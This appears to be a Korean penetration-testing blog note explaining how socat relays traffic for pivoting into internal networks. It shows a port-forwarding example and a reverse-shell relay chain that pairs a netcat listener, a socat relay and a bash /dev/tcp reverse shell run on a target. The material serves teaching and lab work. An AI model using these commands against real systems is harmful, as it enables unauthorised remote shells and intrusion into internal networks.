BLOG
Tracefield · 02
Tracefield · 01
블로그 · 14
Vibe Audit · 04
Vibe Audit · 03
Vibe Audit · 02
Vibe Audit · 01
출판편집자 · 01
StudyTree · 01
SecurityOps · 02
SecurityOps · 01
AI챗봇 · 04
AI챗봇 · 03
AI챗봇 · 02
AI챗봇 · 01
퍼플심 · 04
퍼플심 · 03
퍼플심 · 02
퍼플심 · 01
블로그 · 13
rootscan · 07
rootscan · 06
블로그 · 12
블로그 · 11
블로그 · 10
블로그 · 09
블로그 · 08
블로그 · 07
블로그 · 06
블로그 · 05
블로그 · 04
블로그 · 03
블로그 · 02
블로그 · 01
rootscan · 05
rootscan · 04
rootscan · 03
asmspeak · 03
asmspeak · 02
rootscan · 02
asmspeak · 01
rootscan · 01
웹보안도구 · 02
웹보안도구 · 01
루트캠프 · 02
루트캠프 · 01
All notes 167
Socat 중계
1. 개요
Socat(Socket Cat)은 두 개의 독립적인 데이터 스트림을 이어 주는 중계 도구다. 전용 터널링 도구보다 단순하지만, 특정 포트와 포트를 빠르게 연결하는 구조를 설명할 때 자주 등장한다.
SSH나 Chisel 같은 전용 도구가 없거나, 복잡한 기능보다 단순한 포트 중계만 필요할 때 특히 많이 언급된다. 대부분의 리눅스 배포판에서 쉽게 설치할 수 있다는 점도 자주 같이 이야기된다.
2. 동작 원리
Socat은 "주소 1 <---> 주소 2" 형태의 양방향 파이프를 만든다. 한쪽으로 들어온 데이터를 다른 쪽으로 넘기고, 반대쪽 응답도 다시 되돌리는 구조다. 여기서 "주소"는 TCP/UDP 포트뿐 아니라 파일, 파이프, 소켓 파일 등 다양한 대상을 가리킬 수 있다.
3. 중계 활용 예시
3.1 로컬 포트 포워딩 (Forwarding)
피벗 호스트(10.1.10.10)가 중계자가 되어, 공격자가 보내는 트래픽을 내부 타겟(10.1.20.50:80)으로 전달하고 싶을 때 사용한다.
# 피벗 호스트에서 실행
# TCP4-LISTEN:8080 -> 8080번 포트 리스닝
# TCP4:10.1.20.50:80 -> 들어온 트래픽을 Target의 80으로 전달
# fork: 다중 접속 허용
socat TCP4-LISTEN:8080,fork TCP4:10.1.20.50:80
이제 공격자가 10.1.10.10:8080으로 접속하면, 실제로는 10.1.20.50:80 웹 서버와 통신하게 된다.
3.2 리버스 쉘 중계 (Reverse Shell Relay)
내부망 깊숙한 타겟이 외부로 직접 나가기 어렵고, 대신 인터넷이 되는 피벗 호스트를 중계지로 삼는 구조를 설명할 때 이런 예시가 등장한다.
- 공격자 (Attacker):
# 80번 포트에서 리버스 쉘 대기 nc -lvnp 80 - 피벗 호스트 (Relay):
# 1234번 포트로 들어오는(Target에서 오는) 연결을 # 공격자(10.8.0.5:80)에게 전달 socat TCP4-LISTEN:1234,fork TCP4:10.8.0.5:80 - 타겟 (Victim):
# 피벗 호스트의 1234번 포트로 리버스 쉘 발사 bash -i >& /dev/tcp/10.1.10.10/1234 0>&1
타겟은 피벗 호스트로 연결했지만(Outbound), Socat이 이를 공격자에게 중계해주므로 최종적으로 공격자는 쉘을 획득하게 된다.
4. 장단점
- 장점: 설정이 매우 직관적이고 빠르다. 별도의 인증 과정이나 복잡한 핸드쉐이크가 없다.
- 단점: 기본적으로 평문 통신이다. (
OPENSSL옵션으로 암호화 구성을 별도로 붙일 수 있다.) 또한 프로세스가 종료되면 연결도 같이 끊기므로, 운영 안정성 측면에서 별도 관리가 필요하다.

